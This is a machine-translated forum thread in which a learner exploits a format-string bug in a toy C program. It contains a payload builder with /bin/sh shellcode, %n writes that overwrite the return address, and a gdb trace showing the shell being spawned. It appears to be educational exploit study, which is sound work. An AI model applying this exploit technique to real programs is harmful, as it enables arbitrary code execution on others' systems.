我正在尝试利用我的格式字符串错误,该错误位于此程序中:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
堆栈如下所示:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
所以基本的想法是写一个%x,%n,...的序列并将它提供给程序。我用来构建输入字符串的程序是:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
我们可以看到我覆盖了地址:0xbffff048,0xbffff049,0xbffff04a,0xbffff04b,带有以下十六进制:0x68,0xf0,0xff,0x1bf,它给出了我们的地址:0xbffff068(这是shellcode的地址)在记忆中)。所以我的想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时它会跳转到那个地址。
我已完成所有这些并使用调试器检查这一切都很好。但我仍然从/lib/libc.so.6中获取vfprintf()中的分段错误。
有人知道发生了什么事。我搞砸了什么吗?
由于
答案 0 :(得分:3)
完全重写
答案 1 :(得分:0)
地址有一点变化,但我已经完成了你告诉我的事情,我使用了stepi,结果是:
strcpy之后的内存如下:
(gdb) x/50x $esp
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
我们可以看到跳转到的地址现在是0xbffff050,这是正确的(存在我们的shellcode)。
然后执行stepi:
(gdb) i reg $eip
eip 0x804846c 0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13 }
让我们分析一下:
(gdb) i reg $eip
eip 0x804846d 0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>: ret
0x804846e <main>: push ebp
0x804846f <main+1>: mov ebp,esp
0x8048471 <main+3>: sub esp,0x414
好的,如果我再做一次stepi,那么应该执行返回并且执行跳转到地址:0xbffff050。
和stepi再次执行return:
(gdb) stepi
0xbffff050 in ?? ()
(gdb) x/4i $eip
=> 0xbffff050: jmp 0xbffff06c
0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) i reg $eip
eip 0xbffff050 0xbffff050
好吧,它试图跳到0xbffff050,但没有成功或什么? EIP仍然是0xbffff050。
记忆如下:
(gdb) x/50x 0xbffff024
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
我没有使用$ esp显示内存,因为它已从0xbffff024更改为0xbffff034。
好的,让我们跳转到0xbffff06c(这是shellcode的开头):
(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c: call 0xbffff052
好的,我们打电话给0xbffff052:
(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
让我们将ESI寄存器与前一次调用的返回地址一起存储:
(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi 0xbffff071 -1073745807
让我们将EAX设置为0:
(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax 0x0 0
让我们在内存中的位置写入null:
(gdb) x/4i $eip
=> 0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
(gdb) x/20x $esp
before:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
after:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414
执行LEA指令:
(gdb) x/4i $eip
=> 0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) x/x $esi
0xbffff071: 0x6e69622f
(gdb) x/x $ebx
0x29aff4: 0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071: 0x6e69622f
另一个记忆变化:
(gdb) x/4i $eip
=> 0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100
使用系统调用填充EAX:
(gdb) x/4i $eip
=> 0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
(gdb) i reg $eax
eax 0x0 0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax 0xb 11
填写ebx,ecx,edx:
(gdb) x/4i $eip
=> 0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
0xbffff06a: int 0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax 0xb 11
ebx 0xbffff071 -1073745807
ecx 0xbffff079 -1073745799
edx 0xbffff07d -1073745795
执行int指令:
(gdb) x/4i $eip
=> 0xbffff06a: int 0x80
0xbffff06c: call 0xbffff052
0xbffff071: das
0xbffff072: bound ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash
Program exited normally.
另一个步骤:
(gdb) stepi
The program is not being run.
所以我猜没有错误,它有效。但问题仍然是当我正常启动程序时,我只是没有得到/ bin / dash控制台。好奇的是,进程2863只是立即退出...而没有在gdb中提示shell?有什么想法吗?